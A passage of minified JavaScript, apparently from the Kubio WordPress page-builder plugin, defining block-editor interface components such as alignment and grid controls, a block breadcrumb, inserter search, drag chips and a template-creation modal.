o=""===n||"0"===n?1:parseInt(n,10);t({...e,columnCount:o})}},value:i,min:1,label:(0,Je.__)("Columns"),hideLabelFromVision:!window.__experimentalEnableGridInteractivity||!l})}),(0,Nt.jsx)(ne.FlexItem,{isBlock:!0,children:window.__experimentalEnableGridInteractivity&&n&&l?(0,Nt.jsx)(ne.__experimentalNumberControl,{size:"__unstable-large",onChange:n=>{const o=""===n||"0"===n?1:parseInt(n,10);t({...e,rowCount:o})},value:r,min:1,label:(0,Je.__)("Rows")}):(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,value:null!=i?i:1,onChange:n=>t({...e,columnCount:""===n||"0"===n?1:n}),min:1,max:16,withInputField:!1,label:(0,Je.__)("Columns"),hideLabelFromVision:!0})})]})]})})}function zu({layout:e,onChange:t}){const{columnCount:n,rowCount:o,minimumColumnWidth:i,isManualPlacement:r}=e,[l,s]=(0,u.useState)(n||3),[a,c]=(0,u.useState)(o),[d,p]=(0,u.useState)(i||"12rem"),h=r||n&&!window.__experimentalEnableGridInteractivity?"manual":"auto",g="manual"===h?(0,Je.__)("Grid items can be manually placed in any position on the grid."):(0,Je.__)("Grid items are placed automatically depending on their order.");return(0,Nt.jsxs)(ne.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Grid item position"),value:h,onChange:r=>{"manual"===r?p(i||"12rem"):(s(n||3),c(o)),t({...e,columnCount:"manual"===r?l:null,rowCount:"manual"===r&&window.__experimentalEnableGridInteractivity?a:void 0,isManualPlacement:!("manual"!==r||!window.__experimentalEnableGridInteractivity)||void 0,minimumColumnWidth:"auto"===r?d:null})},isBlock:!0,help:window.__experimentalEnableGridInteractivity?g:void 0,children:[(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"auto",label:(0,Je.__)("Auto")},"auto"),(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:"manual",label:(0,Je.__)("Manual")},"manual")]})}const Fu=[Fc,Nc,Pu,Lu];function Vu(e="default"){return Fu.find((t=>t.name===e))}const Hu={type:"default"},Gu=(0,u.createContext)(Hu),$u=Gu.Provider;function Uu(){return(0,u.useContext)(Gu)}function Wu({layout:e={},css:t,...n}){const o=Vu(e.type),[i]=Vs("spacing.blockGap"),r=null!==i;if(o){var l;if(t)return(0,Nt.jsx)("style",{children:t});const i=null===(l=o.getLayoutStyle)||void 0===l?void 0:l.call(o,{hasBlockGapSupport:r,layout:e,...n});if(i)return(0,Nt.jsx)("style",{children:i})}return null}const Ku=[],Zu=["none","left","center","right","wide","full"],qu=["wide","full"];function Yu(e=Zu){e.includes("none")||(e=["none",...e]);const t=1===e.length&&"none"===e[0],[n,o,i]=(0,d.useSelect)((e=>{var n;if(t)return[!1,!1,!1];const o=e(hs).getSettings();return[null!==(n=o.alignWide)&&void 0!==n&&n,o.supportsLayout,o.__unstableIsBlockBasedTheme]}),[t]),r=Uu();if(t)return Ku;const l=Vu(null==r?void 0:r.type);if(o){const t=l.getAlignments(r,i).filter((t=>e.includes(t.name)));return 1===t.length&&"none"===t[0].name?Ku:t}if("default"!==l.name&&"constrained"!==l.name)return Ku;const s=e.filter((e=>r.alignments?r.alignments.includes(e):!(!n&&qu.includes(e))&&Zu.includes(e))).map((e=>({name:e})));return 1===s.length&&"none"===s[0].name?Ku:s}const Xu=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z"})}),Qu=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z"})}),Ju=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z"})}),ed=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M5 4h14v11H5V4Zm11 16H8v-1.5h8V20Z"})}),td={none:{icon:Vc,title:(0,Je._x)("None","Alignment option")},left:{icon:Xu,title:(0,Je.__)("Align left")},center:{icon:Qu,title:(0,Je.__)("Align center")},right:{icon:Ju,title:(0,Je.__)("Align right")},wide:{icon:Hc,title:(0,Je.__)("Wide width")},full:{icon:ed,title:(0,Je.__)("Full width")}},nd=function({value:e,onChange:t,controls:n,isToolbar:o,isCollapsed:i=!0}){const r=Yu(n);if(!r.length)return null;function l(n){t([e,"none"].includes(n)?void 0:n)}const s=td[e],a=td.none,c=o?ne.ToolbarGroup:ne.ToolbarDropdownMenu,u={icon:s?s.icon:a.icon,label:(0,Je.__)("Align")},d=o?{isCollapsed:i,controls:r.map((({name:t})=>({...td[t],isActive:e===t||!e&&"none"===t,role:i?"menuitemradio":void 0,onClick:()=>l(t)})))}:{toggleProps:{description:(0,Je.__)("Change alignment")},children:({onClose:t})=>(0,Nt.jsx)(Nt.Fragment,{children:(0,Nt.jsx)(ne.MenuGroup,{className:"block-editor-block-alignment-control__menu-group",children:r.map((({name:n,info:o})=>{const{icon:i,title:r}=td[n],s=n===e||!e&&"none"===n;return(0,Nt.jsx)(ne.MenuItem,{icon:i,iconPosition:"left",className:ms("components-dropdown-menu__menu-item",{"is-active":s}),isSelected:s,onClick:()=>{l(n),t()},role:"menuitemradio",info:o,children:r},n)}))})})};return(0,Nt.jsx)(c,{...u,...d})},od=e=>(0,Nt.jsx)(nd,{...e,isToolbar:!1}),id=e=>(0,Nt.jsx)(nd,{...e,isToolbar:!0}),rd=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z"})}),ld=function({isActive:e,label:t=(0,Je.__)("Full height"),onToggle:n,isDisabled:o}){return(0,Nt.jsx)(ne.ToolbarButton,{isActive:e,icon:rd,label:t,onClick:()=>n(!e),disabled:o})},sd=window.wp.keycodes,ad=ne.AlignmentMatrixControl||ne.__experimentalAlignmentMatrixControl,cd=()=>{},ud=function(e){const{label:t=(0,Je.__)("Change matrix alignment"),onChange:n=cd,value:o="center",isDisabled:i}=e,r=(0,Nt.jsx)(ad.Icon,{value:o});return(0,Nt.jsx)(ne.Dropdown,{position:"bottom right",popoverProps:{placement:"bottom-start"},renderToggle:({onToggle:e,isOpen:n})=>(0,Nt.jsx)(ne.ToolbarButton,{onClick:e,"aria-haspopup":"true","aria-expanded":n,onKeyDown:t=>{n||t.keyCode!==sd.DOWN||(t.preventDefault(),e())},label:t,icon:r,showTooltip:!0,disabled:i}),renderContent:()=>(0,Nt.jsx)(ad,{hasFocusBorder:!1,onChange:n,value:o})})},dd=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"})});function pd({clientId:e,maximumLength:t,context:n}){const o=(0,d.useSelect)((t=>{if(!e)return null;const{getBlockName:o,getBlockAttributes:i}=t(hs),{getBlockType:r,getActiveBlockVariation:l}=t(c.store),s=o(e),a=r(s);if(!a)return null;const u=i(e),d=(0,c.__experimentalGetBlockLabel)(a,u,n);if(d!==a.title)return d;const p=l(s,u);return(null==p?void 0:p.title)||a.title}),[e,n]);if(!o)return null;if(t&&t>0&&o.length>t){const e="...";return o.slice(0,t-e.length)+e}return o}function hd({clientId:e,maximumLength:t,context:n}){return pd({clientId:e,maximumLength:t,context:n})}const gd=(0,u.createContext)({refsMap:Oe()});function fd({children:e}){const t=(0,u.useMemo)((()=>({refsMap:Oe()})),[]);return(0,Nt.jsx)(gd.Provider,{value:t,children:e})}function md(e){const{refsMap:t}=(0,u.useContext)(gd);return(0,p.useRefEffect)((n=>(t.set(e,n),()=>t.delete(e))),[e])}const vd=function(e){const{refsMap:t}=(0,u.useContext)(gd),n=(0,u.useRef)();return n.current=e,(0,u.useMemo)((()=>({get current(){var e;return null!==(e=t.get(n.current))&&void 0!==e?e:null}})),[t])};function bd(e){var t;const{refsMap:n}=(0,u.useContext)(gd);return null!==(t=De(n,e))&&void 0!==t?t:null}function kd(e){var t,n;if(!e)return null;const o=null!==(t=Array.from(document.querySelectorAll('iframe[name="editor-canvas"]').values()).find((t=>(t.contentDocument||t.contentWindow.document)===e.ownerDocument)))&&void 0!==t?t:e;return null!==(n=null==o?void 0:o.closest('[role="region"]'))&&void 0!==n?n:o}const _d=function({rootLabelText:e}){const{selectBlock:t,clearSelectedBlock:n}=(0,d.useDispatch)(hs),{clientId:o,parents:i,hasSelection:r}=(0,d.useSelect)((e=>{const{getSelectionStart:t,getSelectedBlockClientId:n,getEnabledBlockParents:o}=ge(e(hs)),i=n();return{parents:o(i),clientId:i,hasSelection:!!t().clientId}}),[]),l=e||(0,Je.__)("Document"),s=(0,u.useRef)();return vd(o,s),(0,Nt.jsxs)("ul",{className:"block-editor-block-breadcrumb",role:"list","aria-label":(0,Je.__)("Block breadcrumb"),children:[(0,Nt.jsxs)("li",{className:r?void 0:"block-editor-block-breadcrumb__current","aria-current":r?void 0:"true",children:[r&&(0,Nt.jsx)(ne.Button,{size:"small",className:"block-editor-block-breadcrumb__button",onClick:()=>{var e,t;const o=null===(e=s.current)||void 0===e?void 0:e.closest(".editor-styles-wrapper");n(),null===(t=kd(o))||void 0===t||t.focus()},children:l}),!r&&l,!!o&&(0,Nt.jsx)(Ua,{icon:dd,className:"block-editor-block-breadcrumb__separator"})]}),i.map((e=>(0,Nt.jsxs)("li",{children:[(0,Nt.jsx)(ne.Button,{size:"small",className:"block-editor-block-breadcrumb__button",onClick:()=>t(e),children:(0,Nt.jsx)(hd,{clientId:e,maximumLength:35})}),(0,Nt.jsx)(Ua,{icon:dd,className:"block-editor-block-breadcrumb__separator"})]},e))),!!o&&(0,Nt.jsx)("li",{className:"block-editor-block-breadcrumb__current","aria-current":"true",children:(0,Nt.jsx)(hd,{clientId:o,maximumLength:35})})]})};function yd(e){return(0,d.useSelect)((t=>{const{__unstableHasActiveBlockOverlayActive:n}=t(hs);return n(e)}),[e])}const xd=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"})});function Sd(e){const{currentStep:t}=e,n=ue().get(Bd,t);return(0,Nt.jsx)(n,{...e})}const wd="step1",Cd="step2",Bd={[wd]:function({areaLabel:e,setStep:t=ue().noop,setApplyTemplateOn:n=ue().noop}){const o=()=>{t(Cd)},{currentTemplateLabel:i}=(0,d.useSelect)((e=>{var t;const{getCurrentPageTemplate:n,getCurrentPostType:o,getAvailablePageTemplates:i}=e(Vt.STORE_KEY),r=o();let l=n();r===l&&(l="");const s=i();return{currentTemplateLabel:(null===(t=ue().find(s,{value:l}))||void 0===t?void 0:t.label)||""}}),[]);return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("p",{dangerouslySetInnerHTML:{__html:""===i?(0,Je.sprintf)(// translators: %s - template part name (e.g. header/ footer/ sidebar) // translators: %s - template part name (e.g. header/ footer/ sidebar) (0,Je.__)("Would you like to apply this %s to all pages that are using the current template or only for this page?","kubio"),e):(0,Je.sprintf)(// translators: %1$s: area label, %2$s: current template label // translators: %1$s: area label, %2$s: current template label (0,Je.__)('Would you like to apply this %1$s to all pages that are using the "%2$s" template?',"kubio"),e,`<strong>${i}</strong>`)}}),(0,Nt.jsxs)(ne.ButtonGroup,{className:"h-template-part-modal__button-group",children:[(0,Nt.jsx)(ne.Button,{isLink:!0,onClick:()=>{n(Id.ALL_PAGES),o()},children:(0,Je.__)("Apply to all pages","kubio")}),(0,Nt.jsx)(wa.ProItem,{tag:ne.Button,isPrimary:!0,onClick:()=>{n(Id.THIS_PAGE),o()},urlArgs:{source:"inserter",content:"create-template"},children:(0,Je.__)("Apply to this page only","kubio")})]})]})},[Cd]:function({areaLabel:e,otherAreaLabel:t,onCloseModal:n,onInsert:o,pageTitle:i,isFrontPage:r,applyTemplateOn:l}){const s=(0,Je.sprintf)("%s template",i),[a,c]=(0,u.useState)(s),d=l===Id.ALL_PAGES,p=!r&&!d;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)("div",{children:[(0,Nt.jsx)("div",{className:"kubio-classic-theme-create-template-modal__step2__input",children:p&&(0,Nt.jsx)(ne.__experimentalInputControl,{label:(0,Je.__)("Template name","kubio"),value:a,onChange:c,placeholder:(0,Je.__)("Eg. Page name - Template","kubio"),autoFocus:!0})}),(0,Nt.jsxs)("div",{className:"kubio-classic-theme-create-template-modal__step2__paragraph",children:[(0,Nt.jsx)("strong",{children:(0,Je.__)("Note: ","kubio")}),(0,Nt.jsx)("span",{children:(0,Je.sprintf)(// translators: %1$s: area label, %2$s: other area label // translators: %1$s: area label, %2$s: other area label (0,Je.__)("Applying this %1$s will also replace the %2$s on this page.","kubio"),e,t)})]}),(0,Nt.jsx)("div",{className:"kubio-classic-theme-create-template-modal__step2__paragraph",children:(0,Je.sprintf)(// translators: %1$s: area label, %2$s: other area label, %3$s: other area label // translators: %1$s: area label, %2$s: other area label, %3$s: other area label (0,Je.__)("The current page uses the header and footer provided by the theme. Replacing the %1$s will create a new template so the %2$s will also be replaced with a Kubio %3$s","kubio"),e,t,t)})]}),(0,Nt.jsxs)(ne.ButtonGroup,{className:"h-template-part-modal__button-group",children:[(0,Nt.jsx)(ne.Button,{isLink:!0,onClick:n,children:(0,Je.__)("Cancel","kubio")}),(0,Nt.jsx)(ne.Button,{isPrimary:!0,onClick:()=>{o(a)},children:(0,Je.sprintf)(// translators: %s: area label // translators: %s: area label (0,Je.__)("Change the %s","kubio"),e)})]})]})}},Id={ALL_PAGES:"allPages",THIS_PAGE:"thisPage"};function jd(e){return e?ue().cloneDeep(e).map((e=>{const t=jd(e.innerBlocks);return{...e,innerBlocks:t}})):e}function Ed(e,t){let n=e.find((e=>(null==e?void 0:e.name)===t));return n||(e.forEach((e=>{if(n)return;(null==e?void 0:e.name)===t&&(n=e);const o=ue().get(e,"innerBlocks");if(Array.isArray(o)){const e=Ed(o,t);e&&(n=e)}})),n)}const Td=window.kubio.editorData,Pd="kubio/templates";const Md=["header","footer","sidebar"];function Rd({onClose:e=ue().noop,onSuccess:t=ue().noop,area:n,innerBlocks:o,isFSEFrontPageButDoesNotHaveFrontPageTemplate:i=!1}){const[r,l]=(0,u.useState)(Id.THIS_PAGE),s=(0,d.useSelect)((e=>{var t,o;if(Md.includes(n))return n;const{getBlock:i}=e("core/block-editor"),{getEntityRecord:r,getCurrentTheme:l}=e("core"),s=null===(t=l())||void 0===t?void 0:t.stylesheet,a=i(n),c=r("postType","wp_template_part",`${s}//${null==a||null===(o=a.attributes)||void 0===o?void 0:o.slug}`);return null==c?void 0:c.area})),{onNewTemplate:a,pageTitle:p,isFrontPage:h}=function({type:e,innerBlocks:t,applyTemplateOn:n}){const{storeData:o={},computedData:i={}}=(0,d.useSelect)((e=>e(Pd).getTemplateData()),[]),{currentPage:r={},postId:l,postType:s,templates:a}=o,{configPerType:p={}}=i,{pageTitle:h,isFrontPage:g,getEntityRecords:f}=(0,d.useSelect)((e=>{var t;const{getEntityRecord:n,getEntityRecords:o,getEditedEntityRecord:i}=e("core"),r=n("postType",s,l),a=null==r||null===(t=r.title)||void 0===t?void 0:t.raw,c=i("root","site");return{pageTitle:a,isFrontPage:(null==c?void 0:c.page_on_front)==l,getEntityRecords:o}})),m=(0,u.useRef)(!1),v=(0,u.useRef)(!1),b=["kubio-full-width","full-width"],k=(0,u.useMemo)((()=>a.find((e=>b.includes(e.slug)))),[JSON.stringify(a)]),_=ue().get(p,e,{}),y=ue().get(_,"label","Part"),x=ue().get(_,"blockName"),{editEntityRecord:S,saveEntityRecord:w,saveEditedEntityRecord:C}=(0,d.useDispatch)("core"),{setPage:B}=(0,d.useDispatch)("kubio/edit-site"),{createErrorNotice:I,createSuccessNotice:j}=function(){const{createErrorNotice:e,createSuccessNotice:t}=(0,d.useDispatch)("core/notices");return{createSuccessNotice:(e,n)=>t(e,{type:"snackbar",...n}),createErrorNotice:(t,n)=>e(t,{type:"snackbar",...n})}}();function E(){throw"Error"}const T=(0,u.useRef)(),P=(0,Td.useSetGlobalSessionProp)("ready"),M=()=>{clearTimeout(T.current),T.current=setTimeout((()=>{P(!0)}),3e3)},R=async e=>{const{link:t}=r;let n;try{const e=new URL(t);e.searchParams.append("random",Math.random());const o=e.toString();n=(0,$n.getPathAndQueryString)(o)}catch(e){}finally{M()}await B({path:n,context:{postType:s,postId:l}},e)};return{onNewTemplate:async(o=`${h} template`)=>{try{var i;if(m.current)return;m.current=!0,clearTimeout(T.current),P(!1);const r=jd((0,c.parse)(null==k||null===(i=k.content)||void 0===i?void 0:i.raw)),a={};let u,d,p,b=!1;if(g)p=!1,u=(0,Je.__)("Front Page","kubio"),d="front-page",a.kubio_template_source="kubio";else if(n===Id.ALL_PAGES){const e=f("postType","wp_template",{per_page:-1}).find((e=>"page"===e.slug));if(e)return async function(e){var n;const o=Ed(jd((0,c.parse)(null==e||null===(n=e.content)||void 0===n?void 0:n.raw)),x),i=ue().get(o,["attributes","slug"]),r=`${ue().get(o,["attributes","theme"])}//${i}`,a={content:(0,c.serialize)(t)};return await S("postType","wp_template_part",r,a),await C("postType","wp_template_part",r),await S("postType",s,l,{template:""}),await R(e),!0}(e);p=!1,u="Page",d="page",a.kubio_template_source="kubio",b=!0}else p=!0,u=o,d=`${s}-${u}`;let _=`${u}-${e}`;if(b)switch(e){case"header":_="header";break;case"footer":_="footer"}if(g)switch(e){case"header":_="front-header";break;case"footer":_="footer"}const B=await async function(){try{if(v.current)return;v.current=!0;const n=`${h} ${e}`,o={title:n,slug:n,area:e,kubio_template_source:"kubio-custom",content:(0,c.serialize)(t)};return await w("postType","wp_template_part",o)}catch(e){I((0,Je.sprintf)(// translators: %s: type label // translators: %s: type label (0,Je.__)("Could not create new %s. Please try again later","kubio"),y))}finally{v.current=!1}}();B||E();const M=ue().get(B,"slug"),N=Ed(r,x);ue().set(N,["attributes","slug"],M),p&&(a.kubio_template_source="kubio-custom");const A={title:u,slug:d,content:(0,c.serialize)(r),...a},L=await w("postType","wp_template",A);return L&&null!=L&&L.slug||E(),g||n===Id.ALL_PAGES||await S("postType",s,l,{template:null==L?void 0:L.slug}),(b||g)&&await S("postType",s,l,{template:""}),await R(L),j((0,Je.__)("New template created successfully","kubio")),L}catch(e){M(),I((0,Je.__)("Could not create new template. Please try again later","kubio"))}finally{m.current=!1}},pageTitle:h,isFrontPage:g}}({type:s,innerBlocks:o,isFSEFrontPageButDoesNotHaveFrontPageTemplate:i,applyTemplateOn:r,setApplyTemplateOn:l}),g=h?Cd:wd,[f,m]=(0,u.useState)(g),v=()=>{e()},b=async n=>{e(),await a(n)&&t()};if((0,u.useEffect)((()=>{i&&b()}),[i]),i)return null;const k=s,_=s===(0,Je.__)("header","kubio")?(0,Je.__)("footer","kubio"):(0,Je.__)("header","kubio"),y=function(e){switch(e){case wd:return(0,Je.__)("Apply for all pages?","kubio");case Cd:return(0,Je.__)("New template required","kubio")}}(f);return(0,Nt.jsx)(ne.Modal,{title:y,onRequestClose:v,children:(0,Nt.jsx)("div",{className:"kubio-inserter-ignore-click-outisde kubio-classic-theme-create-template-modal",children:(0,Nt.jsx)(Sd,{areaLabel:k,otherAreaLabel:_,onCloseModal:v,onInsert:b,pageTitle:p,applyTemplateOn:r,setApplyTemplateOn:l,currentStep:f,setStep:m,isFrontPage:h})})})}const Nd=[(0,u.createInterpolateElement)((0,Je.__)("While writing, you can press <kbd>/</kbd> to quickly insert new blocks.","kubio"),{kbd:(0,Nt.jsx)("kbd",{})}),(0,u.createInterpolateElement)((0,Je.__)("Indent a list by pressing <kbd>space</kbd> at the beginning of a line.","kubio"),{kbd:(0,Nt.jsx)("kbd",{})}),(0,u.createInterpolateElement)((0,Je.__)("Outdent a list by pressing <kbd>backspace</kbd> at the beginning of a line.","kubio"),{kbd:(0,Nt.jsx)("kbd",{})}),(0,Je.__)("Drag files into the editor to automatically insert media blocks.","kubio"),(0,Je.__)("Change a block's type by pressing the block icon on the toolbar.","kubio")],Ad=function(){const[e]=(0,u.useState)(Math.floor(Math.random()*Nd.length));return(0,Nt.jsx)(ne.Tip,{children:Nd[e]})},Ld=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})}),Dd=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"})}),Od=function e({className:t,onChange:n,value:o,label:i,placeholder:r}){const l=(0,p.useInstanceId)(e),s=(0,u.useRef)();return(0,Nt.jsxs)("div",{className:Oa()("block-editor-inserter__search",t),children:[(0,Nt.jsx)(ne.VisuallyHidden,{as:"label",htmlFor:`block-editor-inserter__search-${l}`,children:i||r}),(0,Nt.jsx)("input",{autoFocus:!0,ref:s,className:"block-editor-inserter__search-input",id:`block-editor-inserter__search-${l}`,type:"search",placeholder:r,onChange:e=>n(e.target.value),autoComplete:"off",value:o||""}),(0,Nt.jsxs)("div",{className:"block-editor-inserter__search-icon",children:[!!o&&(0,Nt.jsx)(ne.Button,{icon:Ld,label:(0,Je.__)("Reset search","kubio"),onClick:()=>{n(""),s.current.focus()}}),!o&&(0,Nt.jsx)(Ua,{icon:Dd})]})]})},zd=(0,Nt.jsx)(Rt.SVG,{width:"24",height:"24",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M8 7h2V5H8v2zm0 6h2v-2H8v2zm0 6h2v-2H8v2zm6-14v2h2V5h-2zm0 8h2v-2h-2v2zm0 6h2v-2h-2v2z"})});function Fd({count:e,icon:t,isPattern:n,fadeWhenDisabled:o}){const i=n&&(0,Je.__)("Pattern","kubio");return(0,Nt.jsx)("div",{className:"block-editor-block-draggable-chip-wrapper",children:(0,Nt.jsx)("div",{className:"block-editor-block-draggable-chip","data-testid":"block-draggable-chip",children:(0,Nt.jsxs)(ne.Flex,{justify:"center",className:"block-editor-block-draggable-chip__content",children:[(0,Nt.jsx)(ne.FlexItem,{children:t?(0,Nt.jsx)(Fa,{icon:t}):i||(0,Je.sprintf)(/* translators: %d: Number of blocks. */ /* translators: %d: Number of blocks. */(0,Je._n)("%d block","%d blocks",e>=0?e:1,"kubio"),e>=0?e:1)}),(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(Fa,{icon:zd})}),o&&(0,Nt.jsx)(ne.FlexItem,{className:"block-editor-block-draggable-chip__disabled",children:(0,Nt.jsx)("span",{className:"block-editor-block-draggable-chip__disabled-icon"})})]})})})}const Vd=({length:e,icon:t})=>(0,Nt.jsx)(Fd,{count:e,icon:t}),Hd="kubio-dragging-from-inserter--active",Gd=({isEnabled:e,blocks:t,icon:n,children:o,pattern:i})=>{const r={type:"inserter",blocks:t},{hideInsertionPoint:l}=(0,d.useDispatch)(hs),s=(0,d.useSelect)((e=>{var n;const{getBlockType:o}=e(c.store);return 1===t.length&&(null===(n=o(t[0].name))||void 0===n?void 0:n.icon)}),[t]),{startDragging:a,stopDragging:u}=ge((0,d.useDispatch)(hs));return e?(0,Nt.jsx)(ne.Draggable,{__experimentalTransferDataType:"wp-blocks",transferData:r,onDragStart:e=>{a();const n=(null==i?void 0:i.type)===Ft&&"unsynced"!==(null==i?void 0:i.syncStatus)?[(0,c.createBlock)("core/block",{ref:i.id})]:t;e.dataTransfer.setData("text/html",(0,c.serialize)(n))},onDragEnd:()=>{u()},__experimentalDragComponent:(0,Nt.jsx)(Vd,{count:t.length,icon:n||!i&&s,isPattern:!!i}),children:({onDraggableStart:t,onDraggableEnd:n})=>o({draggable:e,onDragStart:e?(...e)=>{window.kubioDraggingData=r,l(),t(...e),setTimeout((()=>{const e=top.document.querySelector("body");e.classList.contains(Hd)||e.classList.add(Hd)}),10)}:void 0,onDragEnd:e?(...e)=>{n(...e),top.requestIdleCallback((()=>{setTimeout((()=>top.document.body.classList.remove(Hd)),10)}))}:void 0})}):o({draggable:!1,onDragStart:void 0,onDragEnd:void 0})},$d=(0,u.createContext)(),Ud=(0,u.forwardRef)((function(e,t){const[n,o]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{n&&(0,br.speak)((0,Je.__)("Use left and right arrow keys to move through blocks","kubio"))}),[n]),(0,Nt.jsx)("div",{ref:t,role:"listbox","aria-orientation":"horizontal",onFocus:()=>{o(!0)},onBlur:e=>{!e.currentTarget.contains(e.relatedTarget)&&o(!1)},...e})})),{CompositeGroupV2:Wd}=ge(ne.privateApis),Kd=(0,u.forwardRef)((function(e,t){const n=Wd||ne.__unstableCompositeGroup;return(0,Nt.jsx)(n,{role:"presentation",ref:t,...e})})),{CompositeItemV2:Zd}=ge(ne.privateApis),qd=(0,u.forwardRef)((function({isFirst:e,as:t,children:n,...o},i){const r=Zd||ne.__unstableCompositeItem,l=o=>{const i={...o,tabIndex:e?0:o.tabIndex};return t?(0,Nt.jsx)(t,{...i,children:n}):"function"==typeof n?n(i):(0,Nt.jsx)(ne.Button,{...i,children:n})};return(0,Nt.jsx)(r,{ref:i,role:"option",accessibleWhenDisabled:!0,...o,render:ne.__unstableCompositeItem?void 0:l,children:!!ne.__unstableCompositeItem&&l})}));const Yd=(0,u.forwardRef)((function(e,t){const[n,o]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{n&&(0,br.speak)((0,Je.__)("Use left and right arrow keys to move through blocks"))}),[n]),(0,Nt.jsx)("div",{ref:t,role:"listbox","aria-orientation":"horizontal",onFocus:()=>{o(!0)},onBlur:e=>{!e.currentTarget.contains(e.relatedTarget)&&o(!1)},...e})})),Xd=(0,u.forwardRef)((function(e,t){return(0,Nt.jsx)(ne.Composite.Group,{role:"presentation",ref:t,...e})})),Qd=(0,u.forwardRef)((function({isFirst:e,as:t,children:n,...o},i){return(0,Nt.jsx)(ne.Composite.Item,{ref:i,role:"option",accessibleWhenDisabled:!0,...o,render:o=>{const i={...o,tabIndex:e?0:o.tabIndex};return t?(0,Nt.jsx)(t,{...i,children:n}):"function"==typeof n?n(i):(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,...i,children:n})}})})),Jd=(0,oe.wpVersionCompare)("6.7","<"),ep=Jd?Ud:Yd,tp=Jd?Kd:Xd,np=Jd?qd:Qd,op=Jd?function({children:e}){const t=(0,ne.__unstableUseCompositeState)({shift:!0,wrap:"horizontal"});return(0,Nt.jsx)($d.Provider,{value:t,children:e})}:function({children:e}){return(0,Nt.jsx)(ne.Composite,{focusShift:!0,focusWrap:"horizontal",render:(0,Nt.jsx)(Nt.Fragment,{}),children:e})},ip=(0,u.memo)((function({className:e,isFirst:t,item:n,onSelect:o,onHover:i,isDraggable:r,...l}){const s=(0,u.useRef)(!1),a=n.icon?{backgroundColor:n.icon.background,color:n.icon.foreground}:{},p=(0,d.useSelect)((e=>({getClientIdsWithDescendants:e("core/block-editor").getClientIdsWithDescendants,getBlock:e("core/block-editor").getBlock})));n=(0,h.applyFilters)("kubio.beforeInsertBlock",n,p);const g=(0,u.useMemo)((()=>{let e=[];try{e=[(0,c.createBlock)(n.name,n.initialAttributes,(0,c.createBlocksFromInnerBlocksTemplate)(n.innerBlocks))]}catch(e){console.error(e)}return e}),[n.name,n.initialAttributes,n.innerBlocks]),[f,m]=(0,wa.useProModal)(),v=(0,c.isReusableBlock)(n)&&"unsynced"!==n.syncStatus||(0,c.isTemplatePart)(n);return _.isEmpty(g)?(0,Nt.jsx)(Nt.Fragment,{}):(0,Nt.jsx)(Gd,{isEnabled:r&&!n.isDisabled,blocks:g,icon:n.icon,children:({draggable:r,onDragStart:c,onDragEnd:u})=>{var d;return(0,Nt.jsx)("div",{className:ms("block-editor-block-types-list__list-item",{"block-editor-block-types-list__list-item--is-pro-on-free":null===(d=n)||void 0===d?void 